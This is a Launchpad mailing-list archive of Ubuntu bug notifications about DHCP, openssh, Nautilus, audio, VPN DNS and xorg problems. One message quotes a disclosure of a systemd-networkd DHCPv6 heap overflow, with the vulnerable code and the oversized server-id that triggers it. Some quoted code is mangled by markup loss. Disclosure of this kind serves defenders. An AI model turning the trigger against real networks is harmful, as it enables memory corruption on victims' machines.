09:35:11 dhcpd[1543]: Advertise NA: address ::1998 to client with duid 00:01:00:01:21:9f:3a:02:d4:a3:3d:bf:17:e9 iaid = 0 valid for 8 Jul 14 09:35:11 dhcpd[1543]: Sending Advertise to fe80::18eb:dfc7:17e5:c8d7 port 546 Jul 14 09:35:12 dhcpd[1543]: Request message from fe80::18eb:dfc7:17e5:c8d7 port 546, transaction ID 0x65FADB00 Jul 14 09:35:12 dhcpd[1543]: Reply NA: address ::1998 to client with duid 00:01:00:01:21:9f:3a:02:d4:a3:3d:bf:17:e9 iaid = 0 valid for 86400 Jul 14 09:35:12 dhcpd[1543]: Sending Reply to fe80::18eb:dfc7:17e5:c8d7 port 546 Jul 14 09:35:53 dhcpd[1543]: Confirm message from fe80::725a:b6ff:fea2:6120 port 546, transaction ID 0x5105F400 Jul 14 09:35:53 dhcpd[1543]: Sending Reply to fe80::725a:b6ff:fea2:6120 port 546 Jul 14 09:35:53 dhcpd[1543]: Rebind message from fe80::725a:b6ff:fea2:6120 port 546, transaction ID 0x1FEA7E00 Jul 14 09:35:53 dhcpd[1543]: Reply NA: address ::1992 to client with duid 00:04:c2:47:10:e8:8b:dc:d4:a1:0a:1d:21:f2:be:20:e8:a0 iaid = -1230 Jul 14 09:35:53 sh[1543]: ../../../lib/isc/heap.c:251: REQUIRE(idx >= 1 && idx <= heap->last) failed, back trace Jul 14 09:35:53 sh[1543]: #0 0x7efc458a6417 in ?? Jul 14 09:35:53 sh[1543]: #1 0x7efc458a636a in ?? Jul 14 09:35:53 sh[1543]: #2 0x7efc458ad4ea in ?? Jul 14 09:35:53 sh[1543]: #3 0x55d9ee65d571 in ?? Jul 14 09:35:53 sh[1543]: #4 0x55d9ee658701 in ?? Jul 14 09:35:53 sh[1543]: #5 0x55d9ee65ab05 in ?? Jul 14 09:35:53 sh[1543]: #6 0x55d9ee65bff3 in ?? Jul 14 09:35:53 sh[1543]: #7 0x55d9ee65cafc in ?? Jul 14 09:35:53 sh[1543]: #8 0x55d9ee678402 in ?? Jul 14 09:35:53 sh[1543]: #9 0x55d9ee667463 in ?? Jul 14 09:35:53 sh[1543]: #10 0x55d9ee696476 in ?? Jul 14 09:35:53 sh[1543]: #11 0x7efc458dd73b in ?? Jul 14 09:35:53 sh[1543]: #12 0x7efc458ccf9e in ?? Jul 14 09:35:53 sh[1543]: #13 0x7efc458d1e60 in ?? Jul 14 09:35:53 sh[1543]: #14 0x7efc458d2325 in ?? Jul 14 09:35:53 sh[1543]: #15 0x55d9ee6696b0 in ?? Jul 14 09:35:53 sh[1543]: #16 0x55d9ee61d519 in ?? Jul 14 09:35:53 sh[1543]: #17 0x7efc454c6b97 in ?? Jul 14 09:35:53 sh[1543]: #18 0x55d9ee61de0a in ?? Jul 14 09:35:54 systemd[1]: isc-dhcp-server6.service: Main process exited, code=dumped, status=6/ABRT Jul 14 09:35:54 systemd[1]: isc-dhcp-server6.service: Failed with result 'core-dump'. The bug was reported to Debian independently, https://bugs.debian.org /cgi-bin/bugreport.cgi?bug=896122. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1781699/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795921] Re: [ja...@google.com: [Bug 1796402] [NEW] systemd: reexec state injection: fgets() on overlong lines leads to line splitting]
On Thu, Oct 25, 2018 at 11:35:18AM +0200, Lennart Poettering wrote:
> I guess that settles it from our side.
>
> Thank you all for working on this!
Thanks everybody!
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1795921
Title:
Out-of-Bounds write in systemd-networkd dhcpv6 option handling
Status in systemd package in Ubuntu:
Confirmed
Bug description:
systemd-networkd contains a DHCPv6 client which is written from
scratch and can be spawned automatically on managed interfaces when
IPv6 router advertisement are received:
"Note that DHCPv6 will by default be triggered by Router Advertisement, if
that is enabled, regardless of this parameter. By enabling DHCPv6 support
explicitly, the DHCPv6 client will be started regardless of the presence of
routers on the link, or what flags the routers pass"
(https://www.freedesktop.org/software/systemd/man/systemd.network.html)
The function dhcp6_option_append_ia function is used to encode Identity
Associations received by the server into the options buffer of an outgoing
DHCPv6 packet:
//
https://github.com/systemd/systemd/blob/master/src/libsystemd-network/dhcp6-option.c#L82
int dhcp6_option_append_ia(uint8_t **buf, size_t *buflen, DHCP6IA *ia) {
uint16_t len;
uint8_t *ia_hdr;
size_t iaid_offset, ia_buflen, ia_addrlen = 0;
DHCP6Address *addr;
int r;
assert_return(buf && *buf && buflen && ia, -EINVAL);
switch (ia->type) {
case SD_DHCP6_OPTION_IA_NA:
len = DHCP6_OPTION_IA_NA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_na);
break;
case SD_DHCP6_OPTION_IA_TA:
len = DHCP6_OPTION_IA_TA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_ta);
break;
default:
return -EINVAL;
}
A: if (*buflen < len)
return -ENOBUFS;
ia_hdr = *buf;
ia_buflen = *buflen;
*buf += sizeof(DHCP6Option);
B: *buflen -= sizeof(DHCP6Option);
C: memcpy(*buf, (char*) ia + iaid_offset, len);
*buf += len;
D: *buflen -= len;
E:LIST_FOREACH(addresses, addr, ia->addresses) {
r = option_append_hdr(buf, buflen, SD_DHCP6_OPTION_IAADDR,
sizeof(addr->iaaddr));
if (r < 0)
return r;
memcpy(*buf, >iaaddr, sizeof(addr->iaaddr));
*buf += sizeof(addr->iaaddr);
*buflen -= sizeof(addr->iaaddr);
ia_addrlen += sizeof(DHCP6Option) + sizeof(addr->iaaddr);
}
r = option_append_hdr(_hdr, _buflen, ia->type, len +
ia_addrlen);
if (r < 0)
return r;
return 0;
}
The function receives a pointer to the option buffer buf, it's remaining size
buflen and the IA to be added to the buffer. While the check at (A) tries to
ensure that the buffer has enough space left to store the IA option, it does
not take the additional 4 bytes from the DHCP6Option header into account (B).
Due to this the memcpy at (C) can go out-of-bound and *buflen can underflow in
(D) giving an attacker a very powerful and largely controlled OOB heap write
starting at (E).
The overflow can be triggered relatively easy by advertising a DHCPv6
server with a server-id >= 493 characters long. This will trigger the
following code once the client tries to create a REQUEST message:
//https://github.com/systemd/systemd/blob/7bcf8123c0305131ace02480763377af974924ef/src/libsystemd-network/sd-dhcp6-client.c#L493
case DHCP6_STATE_REQUEST:
case DHCP6_STATE_RENEW:
if (client->state == DHCP6_STATE_REQUEST)
message->type = DHCP6_REQUEST;
else
message->type = DHCP6_RENEW;
A: r = dhcp6_option_append(, ,
SD_DHCP6_OPTION_SERVERID,
client->lease->serverid_len,
client->lease->serverid);
if (r < 0)
return r;
if (FLAGS_SET(client->request, DHCP6_REQUEST_IA_NA)) {
B: r = dhcp6_option_append_ia(, ,
>lease->ia);
if (r < 0)
return r;
}
optlen starts with the value 512 and gets decreased to 15 (512 - 493 -
4) after the call in A. As 15 > DHCP6_OPTION_IA_NA_LEN but 15 <
(DHCP6_OPTION_IA_NA_LEN + 4) this triggers the memory corruption:
# journalctl -u systemd-networkd
Oct 03 14:27:50 ubuntu18 systemd-networkd[45095]: malloc(): memory
[Touch-packages] [Bug 1798884] Re: Upgrade or install fails 1:7.2p2-4ubuntu2.5
It's not entirely clear how you got yourself into that situation, so we can leave this bug marked as "incomplete" so that it will auto expire if there is no new information in a few weeks. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssh in Ubuntu. https://bugs.launchpad.net/bugs/1798884 Title: Upgrade or install fails 1:7.2p2-4ubuntu2.5 Status in openssh package in Ubuntu: Incomplete Bug description: Today I've got an update to openssh-server version 1:7.2p2-4ubuntu2.5 but installation fails. Also when I purge the package and install it again, I get the same error message: openssh-server (1:7.2p2-4ubuntu2.5) wird eingerichtet ... insserv: warning: script 'screen-cleanup' missing LSB tags and overrides insserv: Default-Start undefined, assuming empty start runlevel(s) for script `screen-cleanup' insserv: Default-Stop undefined, assuming empty stop runlevel(s) for script `screen-cleanup' Job for ssh.service failed because the control process exited with error code. See "systemctl status ssh.service" and "journalctl -xe" for details. invoke-rc.d: initscript ssh, action "start" failed. ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) Active: failed (Result: exit-code) since Fr 2018-10-19 20:53:49 CEST; 12ms ago Process: 29682 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Process: 29678 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 29682 (code=exited, status=255) Okt 19 20:53:48 zulu1451.server4you.de systemd[1]: Starting OpenBSD Secure Shell server... Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Main process exited, code=code=exited, status=255/n/a Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: Failed to start OpenBSD Secure Shell server. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Unit entered failed state. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Failed with result 'exit-code'. Hint: Some lines were ellipsized, use -l to show in full. dpkg: Fehler beim Bearbeiten des Paketes openssh-server (--configure): Unterprozess installiertes post-installation-Skript gab den Fehlerwert 1 zurück dpkg: Abhängigkeitsprobleme verhindern Konfiguration von ssh: ssh hängt ab von openssh-server (>= 1:7.2p2-4ubuntu2.5); aber: Paket openssh-server ist noch nicht konfiguriert. dpkg: Fehler beim Bearbeiten des Paketes ssh (--configure): Abhängigkeitsprobleme - verbleibt unkonfiguriert Fehler traten auf beim Bearbeiten von: openssh-server ssh The system is: Description:Ubuntu 16.04.5 LTS Release:16.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1798884/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1164016] Re: restore type-ahead find
+1. Type-ahead is basic expected functionality of a file browser. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-settings in Ubuntu. https://bugs.launchpad.net/bugs/1164016 Title: restore type-ahead find Status in Nautilus: Expired Status in nautilus package in Ubuntu: Fix Released Status in ubuntu-settings package in Ubuntu: Fix Released Bug description: GNOME removed type-ahead find in Nautilus 3.6, not without controversy: https://mail.gnome.org/archives/nautilus- list/2012-August/msg2.html Now when you type in a Nautilus window, Nautilus immediately performs a search in the current directory and all its subdirectories. I personally find this annoying. If I want to search, I'll click the search icon. Often I'm looking at a long directory listing and simply want to jump to a certain point in it, and type-ahead find works great for that. Would Ubuntu consider patching type-ahead find back in? To manage notifications about this bug go to: https://bugs.launchpad.net/nautilus/+bug/1164016/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1798884] Re: Upgrade or install fails 1:7.2p2-4ubuntu2.5
Thanks, Andreas! I've changed the port and was then able to finish the update installation by typing sudo dpkg --configure -a. After that I reverted back to my former port (it wasn't 22) and it works fine now. How can I close this "bug" report? Kind regards Ulf! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssh in Ubuntu. https://bugs.launchpad.net/bugs/1798884 Title: Upgrade or install fails 1:7.2p2-4ubuntu2.5 Status in openssh package in Ubuntu: Incomplete Bug description: Today I've got an update to openssh-server version 1:7.2p2-4ubuntu2.5 but installation fails. Also when I purge the package and install it again, I get the same error message: openssh-server (1:7.2p2-4ubuntu2.5) wird eingerichtet ... insserv: warning: script 'screen-cleanup' missing LSB tags and overrides insserv: Default-Start undefined, assuming empty start runlevel(s) for script `screen-cleanup' insserv: Default-Stop undefined, assuming empty stop runlevel(s) for script `screen-cleanup' Job for ssh.service failed because the control process exited with error code. See "systemctl status ssh.service" and "journalctl -xe" for details. invoke-rc.d: initscript ssh, action "start" failed. ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) Active: failed (Result: exit-code) since Fr 2018-10-19 20:53:49 CEST; 12ms ago Process: 29682 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Process: 29678 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 29682 (code=exited, status=255) Okt 19 20:53:48 zulu1451.server4you.de systemd[1]: Starting OpenBSD Secure Shell server... Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Main process exited, code=code=exited, status=255/n/a Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: Failed to start OpenBSD Secure Shell server. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Unit entered failed state. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Failed with result 'exit-code'. Hint: Some lines were ellipsized, use -l to show in full. dpkg: Fehler beim Bearbeiten des Paketes openssh-server (--configure): Unterprozess installiertes post-installation-Skript gab den Fehlerwert 1 zurück dpkg: Abhängigkeitsprobleme verhindern Konfiguration von ssh: ssh hängt ab von openssh-server (>= 1:7.2p2-4ubuntu2.5); aber: Paket openssh-server ist noch nicht konfiguriert. dpkg: Fehler beim Bearbeiten des Paketes ssh (--configure): Abhängigkeitsprobleme - verbleibt unkonfiguriert Fehler traten auf beim Bearbeiten von: openssh-server ssh The system is: Description:Ubuntu 16.04.5 LTS Release:16.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1798884/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1759836] Re: systemd-udevd consumes 100% of CPU
Is this launchpad thing even working, how long does it take to fix a bug around here ? This is untested but should work, let me know. Execute the following commands, it will create a file called bugfix-1759836.service. Copies it to /etc/systemd/system and enables it. --- cat
[Touch-packages] [Bug 1800220] [NEW] [Standard PC (Q35 + ICH9, 2009), Nvidia GPU 82 HDMI/DP, Digital Out, HDMI] Underruns, dropouts or crackling sound (Stutters)
Public bug reported: Problem only when using Nvidia HDMI audio. no problem in Logitech G35 headset. Ubuntu is run in a VM (Unraid host), no problem in windows 10 VM. I have attempted to fix this by installing different nvidia drivers and edit conf files with no luck. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: friis 1620 F pulseaudio /dev/snd/controlC2: friis 1620 F pulseaudio /dev/snd/controlC1: friis 1620 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Fri Oct 26 21:40:54 2018 InstallationDate: Installed on 2018-02-24 (244 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=da_DK.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:NVidia failed Symptom_Card: GP102 HDMI Audio Controller - HDA NVidia Symptom_Jack: Digital Out, HDMI Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [Standard PC (Q35 + ICH9, 2009), Nvidia GPU 82 HDMI/DP, Digital Out, HDMI] Underruns, dropouts or crackling sound UpgradeStatus: Upgraded to bionic on 2018-09-28 (27 days ago) dmi.bios.date: 02/06/2015 dmi.bios.vendor: EFI Development Kit II / OVMF dmi.bios.version: 0.0.0 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-q35-2.10 dmi.modalias: dmi:bvnEFIDevelopmentKitII/OVMF:bvr0.0.0:bd02/06/2015:svnQEMU:pnStandardPC(Q35+ICH9,2009):pvrpc-q35-2.10:cvnQEMU:ct1:cvrpc-q35-2.10: dmi.product.name: Standard PC (Q35 + ICH9, 2009) dmi.product.version: pc-q35-2.10 dmi.sys.vendor: QEMU mtime.conffile..etc.modprobe.d.alsa-base.conf: 2018-10-26T20:59:24.161118 ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1800220 Title: [Standard PC (Q35 + ICH9, 2009), Nvidia GPU 82 HDMI/DP, Digital Out, HDMI] Underruns, dropouts or crackling sound (Stutters) Status in alsa-driver package in Ubuntu: New Bug description: Problem only when using Nvidia HDMI audio. no problem in Logitech G35 headset. Ubuntu is run in a VM (Unraid host), no problem in windows 10 VM. I have attempted to fix this by installing different nvidia drivers and edit conf files with no luck. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: friis 1620 F pulseaudio /dev/snd/controlC2: friis 1620 F pulseaudio /dev/snd/controlC1: friis 1620 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Fri Oct 26 21:40:54 2018 InstallationDate: Installed on 2018-02-24 (244 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=da_DK.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:NVidia failed Symptom_Card: GP102 HDMI Audio Controller - HDA NVidia Symptom_Jack: Digital Out, HDMI Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [Standard PC (Q35 + ICH9, 2009), Nvidia GPU 82 HDMI/DP, Digital Out, HDMI] Underruns, dropouts or crackling sound UpgradeStatus: Upgraded to bionic on 2018-09-28 (27 days ago) dmi.bios.date: 02/06/2015 dmi.bios.vendor: EFI Development Kit II / OVMF dmi.bios.version: 0.0.0 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-q35-2.10 dmi.modalias: dmi:bvnEFIDevelopmentKitII/OVMF:bvr0.0.0:bd02/06/2015:svnQEMU:pnStandardPC(Q35+ICH9,2009):pvrpc-q35-2.10:cvnQEMU:ct1:cvrpc-q35-2.10: dmi.product.name: Standard PC (Q35 + ICH9, 2009) dmi.product.version: pc-q35-2.10 dmi.sys.vendor: QEMU mtime.conffile..etc.modprobe.d.alsa-base.conf: 2018-10-26T20:59:24.161118 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1800220/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1798884] Re: Upgrade or install fails 1:7.2p2-4ubuntu2.5
Well, restarting sshd remotely has been done for quite some time: $ ssh root@duo ... root@duo:~# pidof sshd 14132 2374 root@duo:~# systemctl restart sshd root@duo:~# pidof sshd 14286 14132 root@duo:~# Of course, now that your system is in a state where it's showing that error, care must be taken to not lose access. I'd start another ssh server in a different port just to be safe. That being said, there is no obvious issue to be fixed at the moment, since as shown above, logging in remotely and restarting ssh works just fine in the common case. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openssh in Ubuntu. https://bugs.launchpad.net/bugs/1798884 Title: Upgrade or install fails 1:7.2p2-4ubuntu2.5 Status in openssh package in Ubuntu: Incomplete Bug description: Today I've got an update to openssh-server version 1:7.2p2-4ubuntu2.5 but installation fails. Also when I purge the package and install it again, I get the same error message: openssh-server (1:7.2p2-4ubuntu2.5) wird eingerichtet ... insserv: warning: script 'screen-cleanup' missing LSB tags and overrides insserv: Default-Start undefined, assuming empty start runlevel(s) for script `screen-cleanup' insserv: Default-Stop undefined, assuming empty stop runlevel(s) for script `screen-cleanup' Job for ssh.service failed because the control process exited with error code. See "systemctl status ssh.service" and "journalctl -xe" for details. invoke-rc.d: initscript ssh, action "start" failed. ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) Active: failed (Result: exit-code) since Fr 2018-10-19 20:53:49 CEST; 12ms ago Process: 29682 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Process: 29678 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 29682 (code=exited, status=255) Okt 19 20:53:48 zulu1451.server4you.de systemd[1]: Starting OpenBSD Secure Shell server... Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Main process exited, code=code=exited, status=255/n/a Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: Failed to start OpenBSD Secure Shell server. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Unit entered failed state. Okt 19 20:53:49 zulu1451.server4you.de systemd[1]: ssh.service: Failed with result 'exit-code'. Hint: Some lines were ellipsized, use -l to show in full. dpkg: Fehler beim Bearbeiten des Paketes openssh-server (--configure): Unterprozess installiertes post-installation-Skript gab den Fehlerwert 1 zurück dpkg: Abhängigkeitsprobleme verhindern Konfiguration von ssh: ssh hängt ab von openssh-server (>= 1:7.2p2-4ubuntu2.5); aber: Paket openssh-server ist noch nicht konfiguriert. dpkg: Fehler beim Bearbeiten des Paketes ssh (--configure): Abhängigkeitsprobleme - verbleibt unkonfiguriert Fehler traten auf beim Bearbeiten von: openssh-server ssh The system is: Description:Ubuntu 16.04.5 LTS Release:16.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1798884/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1778946] Re: No dns resolution after closing a vpn/pptp connection
I spoke to stgraber a bit, he said that the resolvconf thing is probably a red herring. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to resolvconf in Ubuntu. https://bugs.launchpad.net/bugs/1778946 Title: No dns resolution after closing a vpn/pptp connection Status in network-manager package in Ubuntu: Confirmed Status in ppp package in Ubuntu: New Status in resolvconf package in Ubuntu: New Bug description: step to reproduce set a VPN connection configured to connect a Microsoft vpn server (pptp) internet acces is ok enable the vpn connection using the applet on the top right corner of the desktop internet still ok ping works disable the vpn connection ping doesn't works with a host but works if i specify an ip address ping: xx.net: Nom ou service inconnu As a workaround, i disable the ethernet link and re-enable it name resolution is now ok ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: network-manager 1.10.6-2ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 27 18:09:30 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2014-06-03 (1484 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) IpRoute: default via 192.168.0.254 dev eth0 proto dhcp metric 20100 169.254.0.0/16 dev eth0 scope link metric 1000 192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.47 metric 100 IwConfig: lono wireless extensions. eth0 no wireless extensions. NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true RfKill: SourcePackage: network-manager UpgradeStatus: Upgraded to bionic on 2018-05-10 (48 days ago) nmcli-dev: DEVICE TYPE STATE DBUS-PATH CONNECTION CON-UUID CON-PATH eth0ethernet connected /org/freedesktop/NetworkManager/Devices/2 Connexion filaire 1 94806bba-1c68-46b6-87f4-a3aff6dd /org/freedesktop/NetworkManager/ActiveConnection/6 lo loopback unmanaged /org/freedesktop/NetworkManager/Devices/1 -- ---- nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.10.6 connected (site only) started limited enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1778946/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800210] [NEW] dose not work rite
Public bug reported: APP STOR DOES NOT WORK RITE ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 CompositorRunning: None Date: Fri Oct 26 15:04:24 2018 DistUpgraded: 2018-10-25 22:05:32,733 DEBUG icon theme changed, re-reading DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller [8086:2a42] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Toshiba America Info Systems Mobile 4 Series Chipset Integrated Graphics Controller [1179:fde0] Subsystem: Toshiba America Info Systems Mobile 4 Series Chipset Integrated Graphics Controller [1179:fde0] InstallationDate: Installed on 2018-10-25 (0 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: TOSHIBA Satellite C655 ProcEnviron: PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=2c9d5f71-ce27-4b3c-8018-0404d4ab5fb9 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: Upgraded to cosmic on 2018-10-26 (0 days ago) dmi.bios.date: 07/07/2011 dmi.bios.vendor: INSYDE dmi.bios.version: 1.70 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Portable PC dmi.board.vendor: TOSHIBA dmi.board.version: Base Board Version dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnINSYDE:bvr1.70:bd07/07/2011:svnTOSHIBA:pnSatelliteC655:pvrPSC08U-03C01K:rvnTOSHIBA:rnPortablePC:rvrBaseBoardVersion:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: Intel_Mobile dmi.product.name: Satellite C655 dmi.product.sku: Montevina_Fab dmi.product.version: PSC08U-03C01K dmi.sys.vendor: TOSHIBA version.compiz: compiz 1:0.9.13.1+18.10.20180930-0ubuntu1 version.libdrm2: libdrm2 2.4.95-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.2-0ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.2-0ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-3ubuntu2.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.6-1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 xserver.bootTime: Thu Oct 25 19:03:50 2018 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id5760 vendor CMO xserver.version: 2:1.18.4-0ubuntu0.8 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug cosmic ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1800210 Title: dose not work rite Status in xorg package in Ubuntu: New Bug description: APP STOR DOES NOT WORK RITE ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 CompositorRunning: None Date: Fri Oct 26 15:04:24 2018 DistUpgraded: 2018-10-25 22:05:32,733 DEBUG icon theme changed, re-reading DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller [8086:2a42] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Toshiba America Info Systems Mobile 4 Series Chipset Integrated Graphics Controller [1179:fde0] Subsystem: Toshiba America Info Systems Mobile 4 Series Chipset Integrated Graphics Controller [1179:fde0] InstallationDate: Installed on 2018-10-25 (0 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: TOSHIBA Satellite C655 ProcEnviron: PATH=(custom, no user) LANG=en_US.UTF-8 